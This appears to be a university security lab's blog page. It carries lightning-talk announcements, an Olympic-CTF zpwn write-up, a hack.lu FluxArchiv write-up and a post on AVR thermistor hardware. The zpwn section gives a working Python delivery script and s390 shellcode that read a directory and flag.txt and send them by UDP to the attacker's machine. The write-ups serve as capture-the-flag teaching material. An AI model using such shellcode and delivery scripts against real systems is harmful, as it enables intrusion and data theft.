• # Lightning Talks Tuesday, 1st April

2014-03-20 14:29:02

Here is the lightning talk program for the 1st April :

• Portable Executable: Overview of the executables files on Windows. by Jérémy Lefaure
• A first peek at asymmetric cryptography: The RSA cryptosystem. by Fabien Goncalves
• Introduction to Register Transfer Level: a simple way to design synchronous digital circuits. by Pierre Surply
• Analysing unknown data with python. by Rémi Audebert

Talks will start in amphi 4, at 19h30.

And here are the slides from last time :

• Malloc Internals by Bruno Pujos - Slides
• vsyscall/vDSO by Adrien Schildknecht - Slides
• Qemu integrated testing: liqtest / libqos by Nassim Eddequiouaq - Slides

• # Lightning Talks at EPITA, Tuesday, March 4th 2014

2014-02-28 13:29:16

Every month, on the first Tuesday of the month, we will have a lightning talk session.

Last Month (February 11th) we had :

• Introduction to TI PRUSS by Pierre Surply - Slides
• PS/2 Archeology by Gabriel Laskar - Slides
• IDAPython walkthrough by Bruno Pujos

On Tuesday, we will have :

• Malloc Internals by Bruno Pujos
• Qemu integrated testing: liqtest / libqos by Nassim Eddequiouaq

Talks will start in amphi 1, at 19h30.

• # Olympic-CTF 2014: zpwn (200 points)

Written by Remi Audebert and Pierre Surply
2014-02-10 22:26:13

This exercise was based on an IBM s/390 ELF running on a remote server which listens on UDP port 31337.

The first thing we did was to setup Hercules, an open source software implementation of the mainframe System/370 and ESA/390 architectures, to run a linux distribution. After some tries with Debian and openSUSE, we finally succeeded to set up Fedora 20 on this emulator.

## Reversing ELF

At first sight, the binary seems to send the entire buffer sent by the client via UDP.

After disassembling it, we saw that the buffer is hashed and compared to a constant value: if the hash is equal to 0xfffcecc8 then the process jumps into the received buffer instead of sending it back.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 /* Receive buffer via UDP */ 80000b26: a7 49 20 00 lghi %r4,8192 ; len 80000b2a: b9 04 00 2a lgr %r2,%r10 ; sockfd 80000b2e: b9 04 00 3b lgr %r3,%r11 ; buff 80000b32: a7 59 00 00 lghi %r5,0 ; flags 80000b36: b9 04 00 69 lgr %r6,%r9 ; src_addr 80000b3a: a7 18 00 10 lhi %r1,16 80000b3e: 50 10 f0 cc st %r1,204(%r15) 80000b42: c0 e5 ff ff fe 51 brasl %r14,800007e4 80000b48: b9 14 00 42 lgfr %r4,%r2 80000b4c: b9 02 00 44 ltgr %r4,%r4 80000b50: a7 84 00 1d je 80000b8a 80000b54: b9 04 00 5b lgr %r5,%r11 80000b58: a7 28 ff ff lhi %r2,-1 80000b5c: b9 04 00 34 lgr %r3,%r4 /* Hash buffer */ 80000b60: 43 10 50 00 ic %r1,0(%r5) 80000b64: 41 50 50 01 la %r5,1(%r5) 80000b68: 17 12 xr %r1,%r2 80000b6a: 88 20 00 08 srl %r2,8 80000b6e: b9 84 00 11 llgcr %r1,%r1 80000b72: eb 11 00 02 00 0d sllg %r1,%r1,2 80000b78: 57 21 c0 00 x %r2,0(%r1,%r12) 80000b7c: a7 37 ff f2 brctg %r3,80000b60 80000b80: c2 2d ff fc ec c8 cfi %r2,-201528 ; Compare hash to 0xfffcecc8 80000b86: a7 84 00 14 je 80000bae /* Send buffer via UDP if hash(buffer) != 0x31eedfb4 */ 80000b8a: b9 04 00 2a lgr %r2,%r10 ; sockfd 80000b8e: b9 04 00 3b lgr %r3,%r11 ; buff 80000b92: a7 59 00 00 lghi %r5,0 ; flags 80000b96: b9 04 00 69 lgr %r6,%r9 ; dest_addr 80000b9a: a7 19 00 10 lghi %r1,16 80000b9e: e3 10 f0 a0 00 24 stg %r1,160(%r15) 80000ba4: c0 e5 ff ff fe 70 brasl %r14,80000884 80000baa: a7 f4 ff bb j 80000b20 /* Jump into buffer if hash(buffer) == 0xfffcecc8 */ 80000bae: 0d eb basr %r14,%r11 80000bb0: a7 f4 ff b8 j 80000b20

## Breaking the hash

When we look closer to the hash function, we can see that %r2 register is initialized to 0xffffffff and then xored with some values located in .rodata. Because %r2 is right shifted before each xor operation, it is easy to find the location of this data by applying a reversed version of this algorithm and analysing the most significant byte of each %r2 value.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 800010e0: ff 0f 6a 70 ^ ff fc ec c8 -------------- 00 f3 86 b8 ----\ | | srl 8 80000dc4: f3 b9 71 48 | ^ f3 86 b8 xx <-/ -------------- 00 3f c9 xx ----\ | | srl 8 80001014: 3f b5 06 dd | ^ 3f c9 xx xx <-/ -------------- 00 7c xx xx 800010b4: 7c dc ef b7

Then, we deduced that these values are located at 800010b4, 80001014, 80000dc4 and 800010b4. We could now apply the right algorithm to get the real values of %r2.

 1 2 3 4 (0xffffffff >> 8) ^ 0x7cdcefb7 = 0x7c231048 (0x7c231048 >> 8) ^ 0x3fb506dd = 0x3fc925cd (0x3fc925cd >> 8) ^ 0xf3b97148 = 0xf386b86d (0xf386b86d >> 8) ^ 0xff0f6a70 = 0xfffcecc8

The less significant byte of this values must now be xored with each offset to obtain the key.

 1 2 3 4 5 6 7 Offsets: (0x800010e0 - 0x80000d7c) >> 2 = 0xd9 (0x80000dc4 - 0x80000d7c) >> 2 = 0x12 (0x80001014 - 0x80000d7c) >> 2 = 0xa6 (0x800010b4 - 0x80000d7c) >> 2 = 0xce Key: 0xcea612d9 ^ 0xff48cd6d = 0x31eedfb4

So, when this process receives 0x31eedfb4 via UDP, it jumps to the buffer address.

To prevent SIGSEGV or SIGILL when the process executes the first instruction of shellcode, we first need to complete the opcode 0xdfb4 to get a valid instruction:

 1 2 31 ee lner %f14,%f14 df b4 0f 00 00 00 edmk 0(181,%r15),0

## Exploit

Here is the python script that we used to generate shellcodes using s390-linux-as and s390-linux-objcopy and send it to the remote machine:

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import socket import subprocess SERVER_IP = "109.233.61.11" CLIENT_IP = # local ip UDP_PORT = 31337 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto("Hi !", (SERVER_IP, UDP_PORT)) print sock.recvfrom(1024)[0] port = sock.getsockname()[1] asm = open("exploit200.s").read() asm = asm.replace("____", hex(port)[2:]) asm = asm.replace("-------", CLIENT_IP) p = subprocess.Popen("s390-linux-as -o exploit200", stdin=subprocess.PIPE, shell=True) p.communicate(asm) p = subprocess.Popen("s390-linux-objcopy -O binary exploit200 /dev/stdout", stdout=subprocess.PIPE, shell=True) sock.sendto(p.communicate()[0], (SERVER_IP, UDP_PORT)) print sock.recvfrom(1024)[0] sock.sendto("\x31\xee\xdf\xb4", (SERVER_IP, UDP_PORT)) print sock.recvfrom(1024)[0]

### Listing the current directory

The first step of this exploit is to list the current directory to find the file which contains the flag. This can be done by filling a buffer with getdents syscall and then send it via UDP to the local machine.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 .long 0x00000000 .long 0xf0000000 exploit: /* open */ lhi %r1, 5 larl %r2, dir lhi %r3, 0 lhi %r4, 0 svc 0 /*getdents*/ lhi %r1, 141 lgr %r3,%r11 afi %r3, 4096 lghi %r4, 4096 svc 0 /* sendto */ lgr %r4,%r2 lgr %r2,%r10 lgr %r3,%r11 afi %r3, 4096 lghi %r5,0 larl %r6, addr afi %r12, -1272 lghi %r1,16 stg %r1,160(%r15) balr %r14, %r12 addr: .quad 0x02____------- dir: .string "."

Response:

 1 2 3 4 5 6 7 8 9 10 11 12 \x00\x00\x00\x00\x00\x00\x00\x11\x0fe\x95\xe2\xb6>!I\x00 nohup.out\x00\x00 \x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x12\x1c\t^\r\x82\x91T\xe0\x00\x18 zpwn\x00\x08\x00\x00\x00\x00\x00\x00\x00\x0c2z)5\x13T\xc6\x17\x00\x18.\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x13?F\xf4bC\\\xcf\xda\x00( .bash_history\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00 \x00\rB\xf6H\x1f\x00 \xb1\xb4\x00 .bash_logout\x00\x08\x00\x00\x00\x00\x00 \x00\x00\x0fN_\x88r\x1b\xbc\x90L\x00 .bashrc\x00\x00\x00\x00\x00\x00\x08 \x00\x00\x00\x00\x00\x00\x00\x02OpO/F\x88\x8f\x00\x00\x18..\x00\x00\x00 \x04\x00\x00\x00\x00\x00\x00\x00\x0eY{P\xb5\xc3\xe0\x02\xf0\x00 .profile \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x16m\x9cn\xc56.\x9a\x91 \x00 watchdog.sh\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x7f\xff\xff\xff \xff\xff\xff\xff\x00 flag.txt\x00\x00\x00\x00\x00\x08

Thanks to getdents's buffer, we can then see that a file flag.txt exists in the current directory.

Let's try to open flag.txt and read its contents:

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 .long 0x00000000 .long 0xf0000000 exploit: /* open */ lhi %r1, 5 larl %r2, flag lhi %r3, 0 lhi %r4, 0 svc 0 /*read*/ lhi %r1, 3 lgr %r3,%r11 afi %r3, 4096 lhi %r4, 4096 svc 0 /* sendto */ lgr %r4,%r2 lgr %r2,%r10 lgr %r3,%r11 afi %r3, 4096 lghi %r5,0 larl %r6, addr afi %r12, -1272 lghi %r1,16 stg %r1,160(%r15) balr %r14, %r12 addr: .quad 0x02____------- flag: .string "./flag.txt"

And it worked, giving us the flag: CTF{684eed23a11fd416bb56b809d491eef4}

• # hack.lu 2013: FluxArchiv Write-up (both parts)

Written by Franck Michea
2013-10-27 23:01:53

For this exercise with two parts (400 and 500 points), we were given too files: a binary named archiv and some data named FluxArchiv.arc. The two parts involved the same binary.

When running the binary with no options, it displays an usage message containing the different options possible. We have:

• An option to list the files contained in the archive.
• An option to add a file to the archive.
• An option to extract a file from the archive.
• An option to delete a file in the archive.

Every command takes at least the archive name and a password. The last three also take a filename.

If you want to try it, it was dumped here, thanks to Jonathan Salwan.

## Part 1: Find the password

Sooo, the first part of the exercise requires us to find the password of the archive FluxArchiv.arc given. We started reversing the binary and noticed a first thing: Awesome, the symbols were not stripped! ... Well actually they were shuffled, which is not that good, but it is not a real problem either. In this write-up, We will always keep the wrong names, but explain what they actually do.

We started following the path in main that lists the files and followed the code to understand what is done to the password. This can be easily done by following parsing of the command line arguments.

The first function called on the password argument is incorrectly named checkHashOfPassword. It will initialize a global buffer of length 0x14 named hash_of_password (correctly) with the SHA-1 digest of the given password. This function is simple.

If we continue to follow the listing option, it then checks that it can access the archive file given, fopens it and then calls encryptDecryptData, that really only checks the magic number of the archive format, at position 0x0: FluxArhiv13.

If this went OK, it will then call verifyArchiv. This function will do the interesting thing for this part. It will check that our password is correct.

It first fseeks to offset 0xC, and then reads 0x14 from the archive: another SHA-1 digest. Then it will fill an internal buffer with a re-ordered version of hash_of_password. It will then take this buffer and calculate the SHA-1 digest of it. This digest is compared to the one read from the archive. If it matches, the password is good.

So, in summary, the password is good if sha1(reorder(sha1(password))) equals to the 20 bytes at offset 0xC in the archive.

The subject says that the humans who created the archive were drunk and decided to use a 6 character, upper-case or digit password. That is 2.176.782.336 passwords possible. That looks brute-force worthy.

We first wrote the reordering part (the one that calculates the source index) in python to compute them all. Once done, we decided to write something to brute-force the algorithm. The source code of the brute-forcer can be found here. With 8 threads, it takes 2 minutes and 30-something seconds to go through the whole password space on my i7, and outputs one password: PWF41L.

Part 1 solved. For those interested, the archive contains 3 images and one mp3 file. They are not really useful.

## Part 2: Find more!

OK so now that we have the password we can decrypt the data. Yes, indeed, the data is encrypted with RC4, using hash_of_password as the key. The decrypt part is in the function sanitizeFilename. First interesting thing: it is called a lot, and it always resets RC4. So you can't decipher the whole archive in one shot. Damn, we must understand the format then.

The code is quite simple, but I am honestly bad at reverse engineering, so I decided to take this opportunity to try another approach for once: rewrite the program in C.

The complete source code can be downloaded here. It doesn't contain the whole program but only the parts I needed to understand what the program was doing and how to finish this part.

I started by scrolling the functions randomly and trying to understand the simple ones. One that was really useful was listAllFilesInArchiv.

First, we can see in it a pattern we will find a lot: read 8 bytes, decrypt it and reverse it in a value byte per byte. I called this function read_int in my C code, it reads a 64-bit integer and switches its endianness.

So the function reads two integers (a andb) and then starts to do the interesting thing: It will clear both with zeros. Then it clears a field of size 0x10, and then a field of size 0x60.

Another pattern we will find often is a loop for i from 0 to b excluded, seek to a, read the integer at that position and use it as next a, then clear it and continue. In short, a is the offset of the next block in a linked list of blocks, and the first block contains 4 fields, with the second one being the number of blocks. Later we discovered that this is necessary because the last block doesn't begin with an offset set to 0, but to some value to permit calculating its actual size. Here is the C:

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void listAllFilesInArchiv(FILE* stream, unsigned int off) { // delete_file char ptr[0x8]; uint64_t counter; uint64_t curpos; uint64_t nbblocks; uint64_t nextblock; fseek(stream, off, SEEK_SET); nextblock = read_int(stream); nbblocks = read_int(stream); fseek(stream, off, SEEK_SET); clear_data(stream, 8); clear_data(stream, 8); clear_data(stream, MD5_DIGEST_LENGTH); clear_data(stream, FILENAME_SZ); for (counter = 0; counter < nbblocks; ++counter) { fseek(stream, nextblock * 1040 + 0x20, SEEK_SET); curpos = ftell(stream); nextblock = read_int(stream); fseek(stream, curpos, SEEK_SET); clear_data(stream, 8); } }

The second interesting thing about this function is that it is called on delete (we can see it from command parsing). So an interesting thing rises: if a file was added and then deleted, its data is still present in the archive. It is only deleted from the listing and its blocks are considered "free".

The offset given to it comes from extractFileFromArchiv. This function starts by seeking to offset 0x20, so just after the global magic + the SHA-1 for the password. It checks a magic ("FluXL1sT"), then reads an integer and then checks for 8 structures of 128 bytes. This is the index! The integer read, if not null, is a link to the next list of 8 files (still beginning by the magic).

Now we have enough to use my technique to find the unused blocks, but I actually rewrote the complete file listing and extraction to make sure I did it correctly. I then basically logged every block used: all blocks used are 1040 bytes long (this is why we have 8 entries of 128 bytes). I then compared it to the possible list of blocks and just decrypted these blocks. The key was in block at address 0x28a20 + 0x8:

 1 2 3 4 5 6 7 $python hacklu2013-fluxarchiv-unused-blocks.py logs Found unused block: 0x28200 Found unused block: 0x28610 Found unused block: 0x28a20 [...]$ python hacklu2013-fluxarchiv-decrypt.py 0x28a28 0x410 b"[...] alike.\n\n+++The Mentor+++\n\nFlag: D3letinG-1nd3x_F4iL\n\n[...]"

Example logs here.

## Conclusion

I didn't finish the second part in time to have the points. I actually used techniques that took a lot of time, and I was quite slow anyway. My goal was not productivity. I took the first part as an opportunity to check that I remembered how to use pthread and the second part as a good example to try another technique for reverse engineering I never used before. Although it was a "slow" technique, it really helped me organise my thoughts and test/fetch data (like the offsets of used blocks, even though it was possible without).

It was interesting to see. Next time will be for speed!

• # Dealing with the pull-up resistors on AVR

Written by Pierre Surply
2013-08-15 13:10:00

My internship project was to design a temperature monitoring system for the LSE server room. Several homemade temperature probes, based on NTC thermistors, are now arranged in the laboratory. Each of them is connected to a USB interface with a RJ-45 cable.

The interface is based on an Atmel AT90USBKEY, a development board based on an AT90USB1287 microcontroller. It features a 10-bit successive approximation Analog-to-Digital Converter connected to an 8-channel Analog Multiplexer and a USB controller, which allows us to create a proper USB HID device.

The host probes the interface to get the values of the different temperature sensors and collects them thanks to StatsD. The interface is exposed as a character device if it's binded to the appropriate driver and can communicate with the user space via ioctl() syscall.

In our case, the interface is connected to a Sheevaplug, an ARM-based plug computer, which probes the values every 10 seconds and send them to the StatsD server via UDP.

The first problem I had to face is the strange values returned by the ADC on the channels 4 to 7 when no analog pin is connected:

 1 2 3 4 5 6 7 8 9 $cat /proc/temp_sensors T0: 478 T1: 473 T2: 471 T3: 383 T4: 1019 T5: 1023 T6: 1023 T7: 1023 1023 is the maximum value of the ADC result, this means that the analog inputs were subject to a voltage equal to the reference voltage (here, Varef = 3.3V). Thanks to AT90USB1287 documentation, we can see that pins PF4, PF5, PF6 and PF7 are also used by the JTAG interface. Port F pins alternate functions If the JTAG interface is enabled, the pull-up resistors on pins PF7(TDI), PF5(TMS) and PF4(TCK) will be activated even if a Reset occurs. (AT90USB1287 specifications, Page 88) In fact, it seems that the pin PF6 (TDO) pull-up resistor is also activated when the JTAG interface is enabled. The input impedance of a converter is very high (due to internal operational amplifier), this justifies the fact that we find the voltage reference in the analog channels 4 to 7. If we wanted to keep the JTAG enabled, the schematic of the electronic circuit would be: The equivalent resistor Rh can easily be calculated: $R_h = \frac{R_1\times R_{pu}}{R_1+R_{pu}}$ Then, the resistance of the thermistor, which represents the current temperature, is given by: $R_t = \frac{R_h \times V_{ADC}}{V_{cc} - V_{ADC}}$ Theoretically, we could consider this pull-up resistor in the calculation of the thermistor. However, the AT90USB1287 specifications indicate that the values of the pull-up resistors are contained between 20KΩ and 50KΩ. This interval is too large to properly calibrate the sensors. Never mind: let's disable the JTAG interface! We don't really need it in our case. The first way to do it is to unprogram JTAGEN fuse of the microcontroller. However, I can only use DFU (Device Firmware Upgrade) to program the device because I do not have the required equipment to use ICSP, JTAG or parallel programming for this kind of chip and, unfortunately, Fuses cannot be reprogrammed by the bootloader. The other way is to set the bit JTD in the MCUCR register. In order to avoid unintentional disabling or enabling, the specifications ask to the application software to write this bit to the desired value twice within four cycles to change its value. This can be done with the following instructions:  1 2 3 4 5 asm volatile ("out %1, %0" "\n\t" "out %1, %0" "\n\t" : : "r" ((uint8_t) 1 << JTD), "i" (_SFR_IO_ADDR(MCUCR))); Afterwards, the analog inputs 4 to 7 will get a normal behaviour and we can now use them to collect the different temperatures.  1 2 3 4 5 6 7 8 9$ cat /proc/temp_sensors T0: 478 T1: 383 T2: 348 T3: 376 T4: 310 T5: 278 T6: 257 T7: 107

All values returned by the device are proportional to the thermistors voltage. As Negative Temperature Coefficient thermistors, their resistance goes up as temperature goes down and the temperature/resistance curve is not linear. The temperature (°C) can be calculated from this resistance with the following expression:

$T = \frac{\beta}{\ln{\frac{R_t}{R_h}} + \frac{\beta}{T_0}} + K_0$
• Rt = thermistor resistance (Ω)
• Rh = second bridge resistor (Ω)
• β = NTC parameter equation (here, β = 4092)
• T0 = 298 °K (273 °K + 25 °K)
• K0 = 273 °K (= 0 °C)

Finally, this temperature monitoring system seems to work and we are now able to see how temperatures of the laboratory evolves as a function of time.

Evolution of temperatures (°C) as a function of time